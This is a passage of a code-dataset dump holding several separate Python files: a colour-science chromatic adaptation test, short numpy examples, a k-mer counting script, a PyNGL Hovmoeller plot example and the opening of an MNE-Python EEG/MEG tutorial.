1))\n        XYZ_2 = np.tile(XYZ_2, (6, 1))\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1, E_o2),\n            XYZ_2,\n            decimal=7)\n\n        xy_o1 = np.tile(xy_o1, (6, 1))\n        xy_o2 = np.tile(xy_o2, (6, 1))\n        Y_o = np.tile(Y_o, 6)\n        E_o1 = np.tile(E_o1, 6)\n        E_o2 = np.tile(E_o2, 6)\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1, E_o2),\n            XYZ_2,\n            decimal=7)\n\n        XYZ_1 = np.reshape(XYZ_1, (2, 3, 3))\n        xy_o1 = np.reshape(xy_o1, (2, 3, 2))\n        xy_o2 = np.reshape(xy_o2, (2, 3, 2))\n        Y_o = np.reshape(Y_o, (2, 3))\n        E_o1 = np.reshape(E_o1, (2, 3))\n        E_o2 = np.reshape(E_o2, (2, 3))\n        XYZ_2 = np.reshape(XYZ_2, (2, 3, 3))\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1, E_o2),\n            XYZ_2,\n            decimal=7)\n\n    def test_domain_range_scale_chromatic_adaptation_CIE1994(self):\n        \"\"\"\n        Tests :func:`colour.adaptation.cie1994.chromatic_adaptation_CIE1994`\n        definition domain and range scale support.\n        \"\"\"\n\n        XYZ_1 = np.array([28.00, 21.26, 5.27])\n        xy_o1 = np.array([0.44760, 0.40740])\n        xy_o2 = np.array([0.31270, 0.32900])\n        Y_o = 20\n        E_o1 = 1000\n        E_o2 = 1000\n        XYZ_2 = chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1,\n                                             E_o2)\n\n        d_r = (('reference', 1), (1, 0.01), (100, 1))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    chromatic_adaptation_CIE1994(XYZ_1 * factor, xy_o1, xy_o2,\n                                                 Y_o * factor, E_o1, E_o2),\n                    XYZ_2 * factor,\n                    decimal=7)\n\n    @ignore_numpy_errors\n    def test_nan_chromatic_adaptation_CIE1994(self):\n        \"\"\"\n        Tests :func:`colour.adaptation.cie1994.chromatic_adaptation_CIE1994`\n        definition nan support.\n        \"\"\"\n\n        cases = [-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]\n        cases = set(permutations(cases * 3, r=3))\n        for case in cases:\n            XYZ_1 = np.array(case)\n            xy_o1 = np.array(case[0:2])\n            xy_o2 = np.array(case[0:2])\n            Y_o = case[0]\n            E_o1 = case[0]\n            E_o2 = case[0]\n            chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1, E_o2)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "605e53724a52c8ca4edd1a69b91501020e8fb5bf", "size": 5485, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/adaptation/tests/test_cie1994.py", "max_stars_repo_name": "BPearlstine/colour", "max_stars_repo_head_hexsha": "40f0281295496774d2a19eee017d50fd0c265bd8", "max_stars_repo_licenses": ["Cube", "BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-05-03T20:15:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-09T18:19:06.000Z", "max_issues_repo_path": "colour/adaptation/tests/test_cie1994.py", "max_issues_repo_name": "BPearlstine/colour", "max_issues_repo_head_hexsha": "40f0281295496774d2a19eee017d50fd0c265bd8", "max_issues_repo_licenses": ["Cube", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/adaptation/tests/test_cie1994.py", "max_forks_repo_name": "BPearlstine/colour", "max_forks_repo_head_hexsha": "40f0281295496774d2a19eee017d50fd0c265bd8", "max_forks_repo_licenses": ["Cube", "BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-12-11T19:48:27.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-11T19:48:27.000Z", "avg_line_length": 34.28125, "max_line_length": 79, "alphanum_fraction": 0.5649954421, "include": true, "reason": "import numpy", "num_tokens": 1710, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.12252319970181706, "lm_q1q2_score": 0.06078300333910465}}
{"text": "# Introduction to Lists and Arrays\r\n\r\nL1 = list()\r\nL2 = []\r\n\r\nL3 = [3,4,1,6,7,5]\r\nL4 = [[2, 9, -5], [-1, 0, 4], [3, 1, 2]]\r\n\r\nimport numpy as np\r\nnparray = np.zeros((5,5))\r\n", "meta": {"hexsha": "7cffe1c85a2870cc644bf8021bb341dd8acab567", "size": 173, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter 03/Lists and Arrays/listsAndArrays.py", "max_stars_repo_name": "Bazzaware/AI-Crash-Course", "max_stars_repo_head_hexsha": "066e4bf62cf76c5ced7b08b249ac4f1379cb11dc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 147, "max_stars_repo_stars_event_min_datetime": "2019-04-15T18:38:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T11:08:11.000Z", "max_issues_repo_path": "Chapter 03/Lists and Arrays/listsAndArrays.py", "max_issues_repo_name": "Bazzaware/AI-Crash-Course", "max_issues_repo_head_hexsha": "066e4bf62cf76c5ced7b08b249ac4f1379cb11dc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter 03/Lists and Arrays/listsAndArrays.py", "max_forks_repo_name": "Bazzaware/AI-Crash-Course", "max_forks_repo_head_hexsha": "066e4bf62cf76c5ced7b08b249ac4f1379cb11dc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 120, "max_forks_repo_forks_event_min_datetime": "2019-04-19T08:01:24.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-26T05:19:04.000Z", "avg_line_length": 15.7272727273, "max_line_length": 41, "alphanum_fraction": 0.4971098266, "include": true, "reason": "import numpy", "num_tokens": 78, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.13296425222296632, "lm_q1q2_score": 0.06078284171662974}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # K-mer \n# Basic K-mer counting.\n\n# In[1]:\n\n\nimport time\ndef show_time():\n    t = time.time()\n    print(time.strftime('%Y-%m-%d %H:%M:%S %Z', time.localtime(t)))\nshow_time()\n\n\n# In[2]:\n\n\nPC_SEQUENCES=32000\nNC_SEQUENCES=32000\nRNA_LEN=32\nCDS_LEN=16\n\n\n# In[3]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n# In[4]:\n\n\nimport sys\nIN_COLAB = False\ntry:\n    from google.colab import drive\n    IN_COLAB = True\nexcept:\n    pass\nif IN_COLAB:\n    print(\"On Google CoLab, mount cloud-local file, get our code from GitHub.\")\n    PATH='/content/drive/'\n    #drive.mount(PATH,force_remount=True)  # hardly ever need this\n    #drive.mount(PATH)    # Google will require login credentials\n    DATAPATH=PATH+'My Drive/data/'  # must end in \"/\"\n    import requests\n    r = requests.get('https://raw.githubusercontent.com/ShepherdCode/Soars2021/master/SimTools/RNA_describe.py')\n    with open('RNA_describe.py', 'w') as f:\n        f.write(r.text)  \n    from RNA_describe import Random_Base_Oracle\nelse:\n        print(\"CoLab not working. On my PC, use relative paths.\")\n        DATAPATH='data/'  # must end in \"/\"\n        sys.path.append(\"..\") # append parent dir in order to use sibling dirs\n        from SimTools.RNA_describe import Random_Base_Oracle\nMODELPATH=\"BestModel\"  # saved on cloud instance and lost after logout\n#MODELPATH=DATAPATH+MODELPATH  # saved on Google Drive but requires login\n\n\n# ## K-mer counting\n\n# ### Functions to create the dict of {kmer:count}\n\n# In[5]:\n\n\ndef make_kmer_keys(K):\n    shorter_kmers=['']\n    for i in range(K):\n        longer_kmers=[]\n        for mer in shorter_kmers:\n            # No support for N or any non-ACGT bases.\n            longer_kmers.append(mer+'A')\n            longer_kmers.append(mer+'C')\n            longer_kmers.append(mer+'G')\n            longer_kmers.append(mer+'T')\n        shorter_kmers = longer_kmers\n    return shorter_kmers\ndef make_kmer_dict(keys,init=0):\n    return dict.fromkeys(keys,init)\ndef make_dict_upto_K(max_K):\n    keys=make_kmer_keys(1)\n    for k in range(2,max_K+1):\n        keys.extend(make_kmer_keys(k))\n    counts = make_kmer_dict(keys)\n    return counts\n\n\n# ### Naive K-mer counting algorithm\n# Algorithm:  \n# 1. for every string  \n#     1. for every K  \n#         1. for every position  \n#             1. kmer=substring\n#             2. count{kmer}++\n\n# In[6]:\n\n\ndef update_count_one_K(counts,K,rna,tail=False):\n    L = len(rna)\n    padding=\" \"*(K-1)\n    padded=rna+padding\n    for i in range(0,L-K+1):\n        kmer=padded[i:i+K]\n        counts[kmer] += 1\n    if tail and K>1:  \n        # for Harvester algorithm, count last letters as special case\n        for start_pos in range(L-K+1,L):\n            for end_pos in range(start_pos+1,L+1):\n                kmer=rna[start_pos:end_pos]\n                counts[kmer] += 1\n    return counts\ndef update_count_upto_K(counts,max_K,sample,tail=False):\n    for i in range(1,max_K+1):\n        update_count_one_K(counts,i,sample,tail)\n    return counts\n\n\n# ### Harvester K-mer counting algorithm\n# Algorithm:  \n# 1. Count K-mers for max K only  \n# 2. For each K-mer in counts table:  \n#     1. For every prefix of the K-mer:  \n#         1. count{prefix} += count{kmer}  \n# 3. Handle last K-1 letters of each string as special case\n\n# In[7]:\n\n\ndef harvest_counts_from_K(counts,max_K):\n    for kmer in counts.keys():\n        klen = len(kmer)\n        kcnt = counts[kmer]\n        if klen==max_K and kcnt>0:\n            for i in range(1,klen):\n                prefix = kmer[:i]\n                counts[prefix] += kcnt\n    return counts\n\n\n# In[8]:\n\n\ndef count_to_frequency(counts,max_K):\n    freqs = dict.fromkeys(counts.keys(),0.0)\n    for k in range(1,max_K+1):\n        tot = 0\n        for kmer in counts.keys():\n            if len(kmer)==k:\n                tot += counts[kmer]\n        for kmer in counts.keys():\n            if len(kmer)==k:\n                freqs[kmer] = 1.0*counts[kmer]/tot\n    return freqs\n\n\n# ## Demo\n\n# ### Demo: Naive algorithm\n\n# In[9]:\n\n\nMAX_K = 3\ncounts1 = make_dict_upto_K(MAX_K)\nprint(\"Initial counts:\\n\",counts1)\n\nsample = \"ACCGGGTTTTACGTACGT\"\nupdate_count_upto_K(counts1,MAX_K,sample)\nprint(\"Final counts:\\n\",counts1)\n\n\n# ### Demo: Harvester algorithm\n\n# In[10]:\n\n\nMAX_K = 3\ncounts2 = make_dict_upto_K(MAX_K)\nprint(\"Initial counts:\\n\",counts2)\n\nsample = \"ACCGGGTTTTACGTACGT\"\nupdate_count_one_K(counts2,MAX_K,sample,True)\nprint(\"Partial counts (just max K and special case letters)\\n:\",counts2)\nharvest_counts_from_K(counts2,MAX_K)\nprint(\"Final counts (includes smaller values of K):\\n\",counts2)\n\n\n# In[11]:\n\n\nif counts1==counts2:\n    print(\"Success. Harvester output matches naive results!\")\nelse:\n    print(\"Fail. Harvester output differs from naive results!\")\n\n\n# In[12]:\n\n\nfreqs = count_to_frequency(counts2,MAX_K)\nprint (\"Frequency:\\n\",freqs)\n\n\n# ## Demo on large dataset\n\n# In[13]:\n\n\nrbo=Random_Base_Oracle(RNA_LEN,True)\npc_all,nc_all = rbo.get_partitioned_sequences(CDS_LEN,10) # just testing\npc_all,nc_all = rbo.get_partitioned_sequences(CDS_LEN,PC_SEQUENCES)\nprint(\"Use\",len(pc_all),\"PC seqs\")\nprint(\"Use\",len(nc_all),\"NC seqs\")\n\n\n# In[14]:\n\n\nMAX_K = 3\npc_counts = make_dict_upto_K(MAX_K)\nfor sample in pc_all:\n    update_count_one_K(pc_counts,MAX_K,sample,True)\nharvest_counts_from_K(pc_counts,MAX_K)\nprint(\"PC counts:\\n\",pc_counts)\npc_freqs = count_to_frequency(pc_counts,MAX_K)\nprint (\"Frequency:\\n\",pc_freqs)\n\n\n# In[15]:\n\n\nnc_counts = make_dict_upto_K(MAX_K)\nfor sample in nc_all:\n    update_count_one_K(nc_counts,MAX_K,sample,True)\nharvest_counts_from_K(nc_counts,MAX_K)\nprint(\"NC counts:\\n\",nc_counts)\nnc_freqs = count_to_frequency(nc_counts,MAX_K)\nprint (\"Frequency:\\n\",nc_freqs)\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "5277142f08d540eed3e12494fb70a089185dbf1b", "size": 5710, "ext": "py", "lang": "Python", "max_stars_repo_path": "Scripts/Kmer_100.py", "max_stars_repo_name": "ShepherdCode/Soars2021", "max_stars_repo_head_hexsha": "ab4f304eaa09e52d260152397a6c53d7a05457da", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-16T14:49:04.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-16T14:49:04.000Z", "max_issues_repo_path": "Scripts/Kmer_100.py", "max_issues_repo_name": "ShepherdCode/Soars2021", "max_issues_repo_head_hexsha": "ab4f304eaa09e52d260152397a6c53d7a05457da", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Scripts/Kmer_100.py", "max_forks_repo_name": "ShepherdCode/Soars2021", "max_forks_repo_head_hexsha": "ab4f304eaa09e52d260152397a6c53d7a05457da", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.6587301587, "max_line_length": 112, "alphanum_fraction": 0.6570928196, "include": true, "reason": "import numpy", "num_tokens": 1663, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367316191467, "lm_q2_score": 0.13296424535145931, "lm_q1q2_score": 0.06078284054217243}}
{"text": "#example of two dimensional array \nimport numpy as np\n\nmy_list1 =[1,2,3,4]\nmy_list2=[6,7,8,9]\n\n#my_array1=np.array(my_list1)\n\nmy_array=np.array([my_list1,my_list2])\n\nprint my_array\n", "meta": {"hexsha": "7c3fb0cb2d615be49aff7a186cdc5ab0eb31bc07", "size": 181, "ext": "py", "lang": "Python", "max_stars_repo_path": "Section3/L1 Numpy/example1.7.2.py", "max_stars_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_stars_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Section3/L1 Numpy/example1.7.2.py", "max_issues_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_issues_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Section3/L1 Numpy/example1.7.2.py", "max_forks_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_forks_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.0833333333, "max_line_length": 38, "alphanum_fraction": 0.7458563536, "include": true, "reason": "import numpy", "num_tokens": 63, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.13296423676207597, "lm_q1q2_score": 0.060782834648889096}}
{"text": "#\n#  File:\n#    hov_1.py\n#\n#  Synopsis:\n#    Default black and white Hovmueller plot.\n#\n#  Category:\n#    contour plot\n#\n#  Based on NCL example:\n#    hov_1.ncl\n#\n#  Author:\n#    Karin Meier-Fleischer\n#  \n#  Date of initial publication:\n#    November, 2018\n#\n#  Description:\n#    This example shows how to create a default black and white Hovmueller plot.\n#\n#  Effects illustrated:\n#    o  Creating a Hovmueller plot\n#    o  Using text function codes to generate umlauts\n#\n#  Output:\n#     A single visualization is produced.     \n#\n'''\n  PyNGL Example: \thov_1.py\n\n  -  Creating a Hovmueller plot\n  -  Using text function codes to generate umlauts\n  \n'''\nfrom __future__ import print_function\nimport numpy as np\nimport os, sys\nimport Ngl,Nio\n\n#-------------------------------------------------------\n#-- Function:\tadd_titles(wks,plot,resources,title,left,center,right)\n#-------------------------------------------------------\ndef add_titles(wks,plot,title=\"\",left=\"\",center=\"\",right=\"\"):\n\n   vpx = Ngl.get_float(plot,\"vpXF\")             #-- retrieve value of res.vpXF from plot\n   vpy = Ngl.get_float(plot,\"vpYF\")             #-- retrieve value of res.vpYF from plot\n   vpw = Ngl.get_float(plot,\"vpWidthF\")         #-- retrieve value of res.vpWidthF from plot\n   vph = Ngl.get_float(plot,\"vpHeightF\")        #-- retrieve value of res.vpHeightF from plot\n   \n   ymax = vpy+0.08                              #-- we need space for the title and strings\n   \n   if(ymax > 0.98):\n     print(\"--> if you can't see the title use res.nglMaximize = False and/or set res.vpYF\")\n\n#-- add title\n   if(title != \"\"):\n      tires = Ngl.Resources()\n      tires.txFontHeightF =  0.018\n      tires.txJust        = \"CenterCenter\"\n      tires.txFont        =  22                     #-- Font 22: Helvetica bold\n      if(left != \"\" or center != \"\" or right != \"\"):\n         y = vpy + 0.07\n      else:\n         y = vpy + 0.05\n      Ngl.text_ndc(wks, title, 0.5, y, tires)\n\n#-- add left, center and/or right string\n   txres = Ngl.Resources()\n   txres.txFontHeightF = 0.014                  #-- font size for left, center and right string\n\n   y = vpy + 0.035                              #-- y-position\n\n   if(left != \"\"):\n      txres.txJust = \"CenterLeft\"               #-- text justification\n      x = vpx                                   #-- x-position\n      Ngl.text_ndc(wks, left, x, y, txres)      #-- add text to wks\n      \n   if(center != \"\"):\n      txres.txJust = \"CenterCenter\"             #-- text justification\n      Ngl.text_ndc(wks, center, 0.5, y, txres)  #-- add text to wks\n   \n   if(right != \"\"):\n      txres.txJust = \"CenterRight\"              #-- text justification\n      x = vpx+vpw                               #-- x-position\n      Ngl.text_ndc(wks, right, x, y, txres)     #-- add text to wks\n\n#-------------------------------------------------------\n#--              MAIN\n#-------------------------------------------------------\n#-- data path and file name\nncarg_root = os.environ.get('NCARG_ROOT')\ndiri  = ncarg_root + '/lib/ncarg/data/cdf/'\nfname = 'chi200_ud_smooth.nc'\n\n#-- open file and read variables\nf     =  Nio.open_file(diri + fname,\"r\")    #-- open data file\nchi   =  f.variables['CHI'][:,:]            #-- read variable CHI[time,lon]\nlon   =  f.variables['lon'][:]\ntime  =  f.variables['time'][:]\n\nscale =  1.0e6\nchi   =  chi/scale\n\n#-- create the plot\nwks =  Ngl.open_wks('png','plot_hovmueller')\n                                            #-- open workstation\n#-- set resources\nres                       =  Ngl.Resources\nres.nglFrame              =  False\nres.nglMaximize           =  False          #-- maximize plot output\n\n#res.tiMainString          = 'Default Hovmu~H-13V2F35~H~FV-2H3~ller' #-- title\n\nres.sfXArray              =  lon            #-- scalar field x\nres.sfYArray              =  time           #-- scalar field y\n \nres.tiYAxisString         = 'elapsed time'\nres.tmYLLabelFontHeightF  =  0.015\n\nres.nglPointTickmarksOutward = True         #-- point tickmarks out\n\nplot = Ngl.contour(wks,chi,res)             #-- draw contours \n\n#-- delete resources because they will cause warnings (Why?)\ndel([res.sfXArray,res.sfYArray,res.tiYAxisString,res.tmYLLabelFontHeightF])\n     \n#-- add the title and left, center and/or right string\ntitle     = \"Default Hovmu~H-13V2F35~H~FV-2H3~ller\"\nlong_name = f.variables[\"CHI\"].attributes['long_name']\nunits     = f.variables[\"CHI\"].attributes['units']\n\nadd_titles(wks,plot,title,left=long_name,right=units)\n\n#-- advance the frame\nNgl.frame(wks)\n\n#-- end\nNgl.end()\n", "meta": {"hexsha": "6165bda71373b97d89dd96030f78e5e26e14727e", "size": 4530, "ext": "py", "lang": "Python", "max_stars_repo_path": "Visualization/PyNGL/Hovmoeller_plot_hov_1.py", "max_stars_repo_name": "1271756664/-xESMF", "max_stars_repo_head_hexsha": "f2341fe5a949050dc9e350fdc8c7d3e3d3d48222", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 54, "max_stars_repo_stars_event_min_datetime": "2015-11-09T13:39:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-16T10:31:19.000Z", "max_issues_repo_path": "Visualization/PyNGL/Hovmoeller_plot_hov_1.py", "max_issues_repo_name": "1271756664/-xESMF", "max_issues_repo_head_hexsha": "f2341fe5a949050dc9e350fdc8c7d3e3d3d48222", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Visualization/PyNGL/Hovmoeller_plot_hov_1.py", "max_forks_repo_name": "1271756664/-xESMF", "max_forks_repo_head_hexsha": "f2341fe5a949050dc9e350fdc8c7d3e3d3d48222", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 25, "max_forks_repo_forks_event_min_datetime": "2016-04-11T20:40:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-01T14:38:41.000Z", "avg_line_length": 32.1276595745, "max_line_length": 95, "alphanum_fraction": 0.5503311258, "include": true, "reason": "import numpy", "num_tokens": 1279, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716967, "lm_q2_score": 0.16238003666671083, "lm_q1q2_score": 0.06070996981046479}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n.. _tut-overview:\n\nOverview of MEG/EEG analysis with MNE-Python\n============================================\n\nThis tutorial covers the basic EEG/MEG pipeline for event-related analysis:\nloading data, epoching, averaging, plotting, and estimating cortical activity\nfrom sensor data. It introduces the core MNE-Python data structures\n`~mne.io.Raw`, `~mne.Epochs`, `~mne.Evoked`, and `~mne.SourceEstimate`, and\ncovers a lot of ground fairly quickly (at the expense of depth). Subsequent\ntutorials address each of these topics in greater detail.\n\nWe begin by importing the necessary Python modules:\n\"\"\"\n\nimport os\nimport numpy as np\nimport mne\n\n###############################################################################\n# Loading data\n# ^^^^^^^^^^^^\n#\n# MNE-Python data structures are based around the FIF file format from\n# Neuromag, but there are reader functions for :ref:`a wide variety of other\n# data formats <data-formats>`. MNE-Python also has interfaces to a\n# variety of :ref:`publicly available datasets <datasets>`,\n# which MNE-Python can download and manage for you.\n#\n# We'll start this tutorial by loading one of the example datasets (called\n# \":ref:`sample-dataset`\"), which contains EEG and MEG data from one subject\n# performing an audiovisual experiment, along with structural MRI scans for\n# that subject. The `mne.datasets.sample.data_path` function will automatically\n# download the dataset if it isn't found in one of the expected locations, then\n# return the directory path to the dataset (see the documentation of\n# `~mne.datasets.sample.data_path` for a list of places it checks before\n# downloading). Note also that for this tutorial to run smoothly on our\n# servers, we're using a filtered and downsampled version of the data\n# (:file:`sample_audvis_filt-0-40_raw.fif`), but an unfiltered version\n# (:file:`sample_audvis_raw.fif`) is also included in the sample dataset and\n# could be substituted here when running the tutorial locally.\n\nsample_data_folder = mne.datasets.sample.data_path()\nsample_data_raw_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                    'sample_audvis_filt-0-40_raw.fif')\nraw = mne.io.read_raw_fif(sample_data_raw_file)\n\n###############################################################################\n# By default, `~mne.io.read_raw_fif` displays some information about the file\n# it's loading; for example, here it tells us that there are four \"projection\n# items\" in the file along with the recorded data; those are :term:`SSP\n# projectors <projector>` calculated to remove environmental noise from the MEG\n# signals, plus a projector to mean-reference the EEG channels; these are\n# discussed in the tutorial :ref:`tut-projectors-background`. In addition to\n# the information displayed during loading, you can get a glimpse of the basic\n# details of a `~mne.io.Raw` object by printing it; even more is available by\n# printing its ``info`` attribute (a `dictionary-like object <mne.Info>` that\n# is preserved across `~mne.io.Raw`, `~mne.Epochs`, and `~mne.Evoked` objects).\n# The ``info`` data structure keeps track of channel locations, applied\n# filters, projectors, etc. Notice especially the ``chs`` entry, showing that\n# MNE-Python detects different sensor types and handles each appropriately. See\n# :ref:`tut-info-class` for more on the `~mne.Info` class.\n\nprint(raw)\nprint(raw.info)\n\n###############################################################################\n# `~mne.io.Raw` objects also have several built-in plotting methods; here we\n# show the power spectral density (PSD) for each sensor type with\n# `~mne.io.Raw.plot_psd`, as well as a plot of the raw sensor traces with\n# `~mne.io.Raw.plot`. In the PSD plot, we'll only plot frequencies below 50 Hz\n# (since our data are low-pass filtered at 40 Hz). In interactive Python\n# sessions, `~mne.io.Raw.plot` is interactive and allows scrolling, scaling,\n# bad channel marking, annotation, projector toggling, etc.\n\nraw.plot_psd(fmax=50)\nraw.plot(duration=5, n_channels=30)\n\n###############################################################################\n# Preprocessing\n# ^^^^^^^^^^^^^\n#\n# MNE-Python supports a variety of preprocessing approaches and techniques\n# (maxwell filtering, signal-space projection, independent components analysis,\n# filtering, downsampling, etc); see the full list of capabilities in the\n# :mod:`mne.preprocessing` and :mod:`mne.filter` submodules. Here we'll clean\n# up our data by performing independent components analysis\n# (`~mne.preprocessing.ICA`); for brevity we'll skip the steps that helped us\n# determined which components best capture the artifacts (see\n# :ref:`tut-artifact-ica` for a detailed walk-through of that process).\n\n# set up and fit the ICA\nica = mne.preprocessing.ICA(n_components=20, random_state=97, max_iter=800)\nica.fit(raw)\nica.exclude = [1, 2]  # details on how we picked these are omitted here\nica.plot_properties(raw, picks=ica.exclude)\n\n###############################################################################\n# Once we're confident about which component(s) we want to remove, we pass them\n# as the ``exclude`` parameter and then apply the ICA to the raw signal. The\n# `~mne.preprocessing.ICA.apply` method requires the raw data to be loaded into\n# memory (by default it's only read from disk as-needed), so we'll use\n# `~mne.io.Raw.load_data` first. We'll also make a copy of the `~mne.io.Raw`\n# object so we can compare the signal before and after artifact removal\n# side-by-side:\n\norig_raw = raw.copy()\nraw.load_data()\nica.apply(raw)\n\n# show some frontal channels to clearly illustrate the artifact removal\nchs = ['MEG 0111', 'MEG 0121', 'MEG 0131', 'MEG 0211', 'MEG 0221', 'MEG 0231',\n       'MEG 0311', 'MEG 0321', 'MEG 0331', 'MEG 1511', 'MEG 1521', 'MEG 1531',\n       'EEG 001', 'EEG 002', 'EEG 003', 'EEG 004', 'EEG 005', 'EEG 006',\n       'EEG 007', 'EEG 008']\nchan_idxs = [raw.ch_names.index(ch) for ch in chs]\norig_raw.plot(order=chan_idxs, start=12, duration=4)\nraw.plot(order=chan_idxs, start=12, duration=4)\n\n###############################################################################\n# .. _overview-tut-events-section:\n#\n# Detecting experimental events\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The sample dataset includes several :term:`\"STIM\" channels <stim channel>`\n# that recorded electrical signals sent from the stimulus delivery computer (as\n# brief DC shifts / squarewave pulses). These pulses (often called \"triggers\")\n# are used in this dataset to mark experimental events: stimulus onset,\n# stimulus type, and participant response (button press). The individual STIM\n# channels are combined onto a single channel, in such a way that voltage\n# levels on that channel can be unambiguously decoded as a particular event\n# type. On older Neuromag systems (such as that used to record the sample data)\n# this summation channel was called ``STI 014``, so we can pass that channel\n# name to the `mne.find_events` function to recover the timing and identity of\n# the stimulus events.\n\nevents = mne.find_events(raw, stim_channel='STI 014')\nprint(events[:5])  # show the first 5\n\n###############################################################################\n# The resulting events array is an ordinary 3-column :class:`NumPy array\n# <numpy.ndarray>`, with sample number in the first column and integer event ID\n# in the last column; the middle column is usually ignored. Rather than keeping\n# track of integer event IDs, we can provide an *event dictionary* that maps\n# the integer IDs to experimental conditions or events. In this dataset, the\n# mapping looks like this:\n#\n# .. _sample-data-event-dict-table:\n#\n# +----------+----------------------------------------------------------+\n# | Event ID | Condition                                                |\n# +==========+==========================================================+\n# | 1        | auditory stimulus (tone) to the left ear                 |\n# +----------+----------------------------------------------------------+\n# | 2        | auditory stimulus (tone) to the right ear                |\n# +----------+----------------------------------------------------------+\n# | 3        | visual stimulus (checkerboard) to the left visual field  |\n# +----------+----------------------------------------------------------+\n# | 4        | visual stimulus (checkerboard) to the right visual field |\n# +----------+----------------------------------------------------------+\n# | 5        | smiley face (catch trial)                                |\n# +----------+----------------------------------------------------------+\n# | 32       | subject button press                                     |\n# +----------+----------------------------------------------------------+\n\nevent_dict = {'auditory/left': 1, 'auditory/right': 2, 'visual/left': 3,\n              'visual/right': 4, 'smiley': 5, 'buttonpress': 32}\n\n###############################################################################\n# Event dictionaries like this one are used when extracting epochs from\n# continuous data; the ``/`` character in the dictionary keys allows pooling\n# across conditions by requesting partial condition descriptors (i.e.,\n# requesting ``'auditory'`` will select all epochs with Event IDs 1 and 2;\n# requesting ``'left'`` will select all epochs with Event IDs 1 and 3). An\n# example of this is shown in the next section. There is also a convenient\n# `~mne.viz.plot_events` function for visualizing the distribution of events\n# across the duration of the recording (to make sure event detection worked as\n# expected). Here we'll also make use of the `~mne.Info` attribute to get the\n# sampling frequency of the recording (so our x-axis will be in seconds instead\n# of in samples).\n\nfig = mne.viz.plot_events(events, event_id=event_dict, sfreq=raw.info['sfreq'],\n                          first_samp=raw.first_samp)\n\n###############################################################################\n# For paradigms that are not event-related (e.g., analysis of resting-state\n# data), you can extract regularly spaced (possibly overlapping) spans of data\n# by creating events using `mne.make_fixed_length_events` and then proceeding\n# with epoching as described in the next section.\n#\n#\n# .. _tut-section-overview-epoching:\n#\n# Epoching continuous data\n# 